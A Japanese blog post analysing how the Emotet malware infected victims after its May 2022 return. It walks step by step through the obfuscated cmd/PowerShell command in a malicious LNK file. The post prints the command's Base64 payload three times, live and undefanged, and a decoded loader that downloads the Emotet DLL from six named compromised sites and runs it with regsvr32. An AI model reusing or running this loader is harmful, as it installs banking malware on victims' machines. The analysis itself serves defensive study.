Emotetの感染手法に関する調査
Emotetばら撒き再開
2022/05/12より、Emotetのばら撒きが再開されたそうなので興味本位でEmotetの感染手法について調査しました。 (以下のTweetを参照させていただきました。)
#Emotet E4から日本語のメールも出ています。https://t.co/gc1UR6zU6I
— bom (@bomccss) 2022年5月11日
Emotet本体の挙動が変わっている部分もあり、4/30からの休止期間は開発期間だったと思われます。 pic.twitter.com/gRw98kKPkp
今回調査した検体
https://tria.ge/220511-3czl6sfdfn
zipファイルがメール添付されており、解凍すると中にlnkファイルがあるパターン
lnkファイルに含まれているコマンド全文
"C:\Windows\system32\cmd.exe" /v:on /c M/sXPr4KffgFntQuZ4JBbtq1jStjU+wg3mwp1NCAxQSmay5js/nhnTV2H0+6ZjnJTk5SptbW||goto&p^o^w^e^r^s^h^e^l^l.e^x^e -c "&{iex ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('ICAgICBXcml0ZS1Ib3N0ICJqWW1aemlnT1JrIjskUHJvZ3Jlc3NQcmVmZXJlbmNlPSJTaWxlbnRseUNvbnRpbnVlIjskbGlua3M9KCJodHRwOi8vZ29vbmJveS5jb20vZ29vbmllL2JTRno3QXYvIiwiaHR0cDovL2R1bGljaGRpY2h2dS5uZXQvbGlicmFyaWVzL1FodHJqQ1p5bUxwNUVicU9kcEtrLyIsImh0dHA6Ly9nZW5jY2FnZGFzLmNvbS50ci9hc3NldHMvVFRIT204MzNpTm4zQnhULyIsImh0dHA6Ly9lYXNpZXJjb21tdW5pY2F0aW9ucy5jb20vd3AtY29udGVudC93LyIsImh0dHA6Ly9oZWF2ZW50ZWNobm9sb2dpZXMuY29tLnBrL2FwaXRlc3QveGRlQVUwcngyNkxUOUkvIiwiaHR0cHM6Ly93d3cud2hvdy5mci93cC1pbmNsdWRlcy9INTRGZ2owdEcvIik7JHRtcD0iSWdNSUQiO21rZGlyIC1mb3JjZSAiJGVudjpURU1QXC4uXCR0bXAiICB8IG91dC1udWxsO2ZvcmVhY2ggKCR1IGluICRsaW5rcykge3RyeSB7SVdSICR1IC1PdXRGaWxlICRlbnY6VEVNUFwuLlxJZ01JRFxudnd0U3FudVhmLnVCQjtSZWdzdnIzMi5leGUgIiRlbnY6VEVNUFwuLlxJZ01JRFxudnd0U3FudVhmLnVCQiI7YnJlYWt9IGNhdGNoIHsgfX0='))) }"
cmd -> Powershell実行まで
"C:\Windows\system32\cmd.exe" /v:on /c M/sXPr4KffgFntQuZ4JBbtq1jStjU+wg3mwp1NCAxQSmay5js/nhnTV2H0+6ZjnJTk5SptbW||goto&p^o^w^e^r^s^h^e^l^l.e^x^e
- /v:on・・・プロンプト起動時の遅延環境変数の展開機能を有効にする
- /c・・・起動後にプロンプトを閉じる
- コマンド1 || コマンド2・・・コマンド1に失敗したときのみコマンド2を実行
- コマンド1 & コマンド2・・・コマンド1を実行した後にコマンド2を実行
- 文字列に含まれるTab文字は無視される
- 結局のところpowershell.exeが実行される
Powershellの実行
p^o^w^e^r^s^h^e^l^l.e^x^e -c "&{iex ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('ICAgICBXcml0ZS1Ib3N0ICJqWW1aemlnT1JrIjskUHJvZ3Jlc3NQcmVmZXJlbmNlPSJTaWxlbnRseUNvbnRpbnVlIjskbGlua3M9KCJodHRwOi8vZ29vbmJveS5jb20vZ29vbmllL2JTRno3QXYvIiwiaHR0cDovL2R1bGljaGRpY2h2dS5uZXQvbGlicmFyaWVzL1FodHJqQ1p5bUxwNUVicU9kcEtrLyIsImh0dHA6Ly9nZW5jY2FnZGFzLmNvbS50ci9hc3NldHMvVFRIT204MzNpTm4zQnhULyIsImh0dHA6Ly9lYXNpZXJjb21tdW5pY2F0aW9ucy5jb20vd3AtY29udGVudC93LyIsImh0dHA6Ly9oZWF2ZW50ZWNobm9sb2dpZXMuY29tLnBrL2FwaXRlc3QveGRlQVUwcngyNkxUOUkvIiwiaHR0cHM6Ly93d3cud2hvdy5mci93cC1pbmNsdWRlcy9INTRGZ2owdEcvIik7JHRtcD0iSWdNSUQiO21rZGlyIC1mb3JjZSAiJGVudjpURU1QXC4uXCR0bXAiICB8IG91dC1udWxsO2ZvcmVhY2ggKCR1IGluICRsaW5rcykge3RyeSB7SVdSICR1IC1PdXRGaWxlICRlbnY6VEVNUFwuLlxJZ01JRFxudnd0U3FudVhmLnVCQjtSZWdzdnIzMi5leGUgIiRlbnY6VEVNUFwuLlxJZ01JRFxudnd0U3FudVhmLnVCQiI7YnJlYWt9IGNhdGNoIHsgfX0='))) }
- -c・・・コマンドをPowerShellで実行
- &{}・・・{}で囲まれた部分のコマンドを評価して実行する
- iex・・・Invoke-Expression:コマンドを評価して実行する
- [System.Text.Encoding]::ASCII.GetString・・・文字列をASCIIとして取得する
- [System.Convert]::FromBase64String・・・文字列をBase64でデコードする
- なのでBase64文字列をデコードしたコードがPowershellで実行される
Base64文字列
ICAgICBXcml0ZS1Ib3N0ICJqWW1aemlnT1JrIjskUHJvZ3Jlc3NQcmVmZXJlbmNlPSJTaWxlbnRseUNvbnRpbnVlIjskbGlua3M9KCJodHRwOi8vZ29vbmJveS5jb20vZ29vbmllL2JTRno3QXYvIiwiaHR0cDovL2R1bGljaGRpY2h2dS5uZXQvbGlicmFyaWVzL1FodHJqQ1p5bUxwNUVicU9kcEtrLyIsImh0dHA6Ly9nZW5jY2FnZGFzLmNvbS50ci9hc3NldHMvVFRIT204MzNpTm4zQnhULyIsImh0dHA6Ly9lYXNpZXJjb21tdW5pY2F0aW9ucy5jb20vd3AtY29udGVudC93LyIsImh0dHA6Ly9oZWF2ZW50ZWNobm9sb2dpZXMuY29tLnBrL2FwaXRlc3QveGRlQVUwcngyNkxUOUkvIiwiaHR0cHM6Ly93d3cud2hvdy5mci93cC1pbmNsdWRlcy9INTRGZ2owdEcvIik7JHRtcD0iSWdNSUQiO21rZGlyIC1mb3JjZSAiJGVudjpURU1QXC4uXCR0bXAiICB8IG91dC1udWxsO2ZvcmVhY2ggKCR1IGluICRsaW5rcykge3RyeSB7SVdSICR1IC1PdXRGaWxlICRlbnY6VEVNUFwuLlxJZ01JRFxudnd0U3FudVhmLnVCQjtSZWdzdnIzMi5leGUgIiRlbnY6VEVNUFwuLlxJZ01JRFxudnd0U3FudVhmLnVCQiI7YnJlYWt9IGNhdGNoIHsgfX0=
Base64文字列のデコード後(一部サニタイズしてます)
Write-Host "jYmZzigORk";$ProgressPreference="SilentlyContinue";$links=("hxxp://goonboy.com/goonie/bSFz7Av/","hxxp://dulichdichvu.net/libraries/QhtrjCZymLp5EbqOdpKk/","hxxp://genccagdas.com.tr/assets/TTHOm833iNn3BxT/","hxxp://easiercommunications.com/wp-content/w/","hxxp://heaventechnologies.com.pk/apitest/xdeAU0rx26LT9I/","hxxps://www.whow.fr/wp-includes/H54Fgj0tG/");$tmp="IgMID";mkdir -force "$env:TEMP\..\$tmp" | out-null;foreach ($u in $links) {try {IWR $u -OutFile $env:TEMP\..\IgMID\nvwtSqnuXf.uBB;Regsvr32.exe "$env:TEMP\..\IgMID\nvwtSqnuXf.uBB";break} catch { }}
- Write-Host "jYmZzigORk"
- コンソール画面に"jYmZzigORk"を出力する(意味はよくわからない)
- $ProgressPreference="SilentlyContinue"・・・Powershellの緑帯表示を抑制する
- $links・・・Emotet本体(DLLファイル)をホストしているURLのリスト
- mkdir -force "$env:TEMP..\$tmp" | out-null
- 「IgMID」ディレクトリを作成する。出力は捨てる
- foreach ($u in $links) {try {IWR $u -OutFile $env:TEMP..\IgMID\nvwtSqnuXf.uBB
- Emotet本体(DLLファイル)をホストしているURLから「IgMID」ディレクトリ配下に「nvwtSqnuXf.uBB」という名前でEmotetをDL
- Regsvr32.exe "$env:TEMP..\IgMID\nvwtSqnuXf.uBB"
- Regsvr32.exe に「nvwtSqnuXf.uBB」を登録する
- Regsvr32.exe に「nvwtSqnuXf.uBB」を登録する
参考
今回の調査を行うにあたって、以下のサイトが大変参考になりました。 binary-pulsar.hatenablog.jp